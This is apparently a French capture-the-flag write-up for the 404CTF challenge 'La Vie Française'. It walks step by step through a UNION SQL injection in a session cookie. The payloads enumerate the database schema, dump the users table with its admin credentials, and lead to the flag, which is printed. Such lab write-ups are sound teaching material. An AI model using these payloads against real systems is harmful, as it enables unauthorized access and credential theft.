Post

La Vie Française

𝄞 Introduction

Intro L’objectif de ce challenge est d’utiliser une faille d’injection SQL UNION pour se connecter en tant qu’administrateur.

𝄞 Solution

Accueil

La page d’accueil nous prĂ©sente un lien pour se connecter et un lien pour postuler qui nous permet de nous enregistrer. La premiĂšre approche consiste Ă  essayer une faille SQL sur le formulaire d’authentification pour se connecter en tant qu’administrateur.

Sqli_no

Cependant, nous sommes rapidement confrontĂ©s Ă  une limitation : le formulaire n’accepte que les caractĂšres alphanumĂ©riques, excluant ainsi l’utilisation de guillemets, de parenthĂšses ou d’autres caractĂšres spĂ©ciaux.

Le compte administrateur “admin” a Ă©tĂ© dĂ©sactivĂ©, donc nous devons trouver une autre mĂ©thode pour exploiter la faille SQL et trouver un compte administrateur.

Admin

La seule option qui reste est de crĂ©er un compte en utilisant le lien de “postuler”. Nous allons crĂ©er un compte avec le nom d’utilisateur et le mot de passe “toto”.

Toto

Une fois connectĂ©, si nous essayons d’accĂ©der Ă  la page “/admin”, nous obtenons une erreur indiquant que nous ne sommes pas autorisĂ©s Ă  y accĂ©der. Erreur_Admin

Les seuls Ă©lĂ©ments manipulables par l’utilisateur sont :

  • Le formulaire d’authentification (qui n’est pas exploitable comme nous l’avons vu prĂ©cĂ©demment).
  • Le cookie de session UUID.

𝄞𝄞 UNION SQLI

Nous allons essayer de faire une injection SQL sur le cookie de session. Si nous utilisons une valeur alĂ©atoire, nous sommes redirigĂ©s vers “/login”. Test

Essayons maintenant de faire une injection SQL !

Sqli1 En utilisant le payload : ' OR 1=1-- - Nous constatons que nous avons une faille SQL dans le cookie de session. Nous allons maintenant essayer de dĂ©terminer combien de colonnes peuvent ĂȘtre exploitĂ©es et si elles s’affichent ou non dans la construction de la page.

Sqli2 En utilisant le payload : ' UNION SELECT 1,2,3-- - Nous constatons que trois colonnes sont exploitables et seulement deux sont affichées dans la construction de la page.

Nous allons maintenant déterminer la base de données sur laquelle nous nous trouvons en utilisant la fonction database().

Sqli3 En utilisant le payload : ' UNION SELECT database(),2,3-- - Nous dĂ©couvrons que nous sommes actuellement sur la base de donnĂ©es “usersdb”.

Nous allons ensuite essayer de dĂ©terminer les tables disponibles dans cette base de donnĂ©es Sqli4 en utilisant le payload : ' UNION SELECT TABLE_NAME,TABLE_SCHEMA,3 from INFORMATION_SCHEMA.TABLES where table_schema='usersdb'-- - Nous dĂ©couvrons qu’il y a une table appelĂ©e “users” dans la base de donnĂ©es “usersdb”.

Nous allons maintenant dĂ©terminer les noms des colonnes dans la table “users” Sqli5_false En utilisant le payload : ' UNION select COLUMN_NAME,TABLE_SCHEMA,3 from INFORMATION_SCHEMA.COLUMNS where table_name='users'-- - Nous ne trouvons qu’une seule colonne, qui est “id”. Nous devons utiliser la fonction “group_concat” pour concatĂ©ner les valeurs en une seule chaĂźne, sĂ©parĂ©e par une virgule et voir toutes les colonnes ! .

Sqli5 En utilisant le payload : ' UNION select GROUP_CONCAT(COLUMN_NAME),TABLE_SCHEMA,3 from INFORMATION_SCHEMA.COLUMNS where table_name='users'-- - Nous obtenons toutes les colonnes de la tables users.

Les colonnes qui nous intĂ©ressent sont : “id”, “username”, “password” et “status”.

Nous allons maintenant regarder le contenu de la table “users” en utilisant les colonnes mentionnĂ©es prĂ©cĂ©demment Sqli6 En utilisant le payload : 'UNION SELECT group_concat(id,'|', username,'|',password,'|', status SEPARATOR '\n'),NULL,3 FROM users-- - Nous pouvons voir qu’il y a un seul compte “admin” avec les informations suivantes : {madeleineforestier:fo2DVkgShz2pPJ}.

𝄞𝄞 Authentification en tant qu’administrateur

Maintenant, nous avons deux options pour nous connecter en tant qu’administrateur :

  • RĂ©cupĂ©rer l’UUID avec la SQLI pour l’utilisateur “madeleineforestier” et le remplacer.
  • Se connecter en utilisant les identifiants de l’administrateur.

Une fois connectĂ© en tant qu’administrateur, nous accĂ©dons Ă  la page “/admin” pour obtenir le flag !

Flag

𝄞 FLAG : 404CTF{B3w4Re_th3_d3STruct1v3s_Qu0tes} 𝄞

𝄞 Conclusion

En utilisant une faille d’injection SQL UNION sur le cookie de session, nous avons pu contourner les limitations du formulaire d’authentification et accĂ©der au compte administrateur.

This post is licensed under CC BY 4.0 by the author.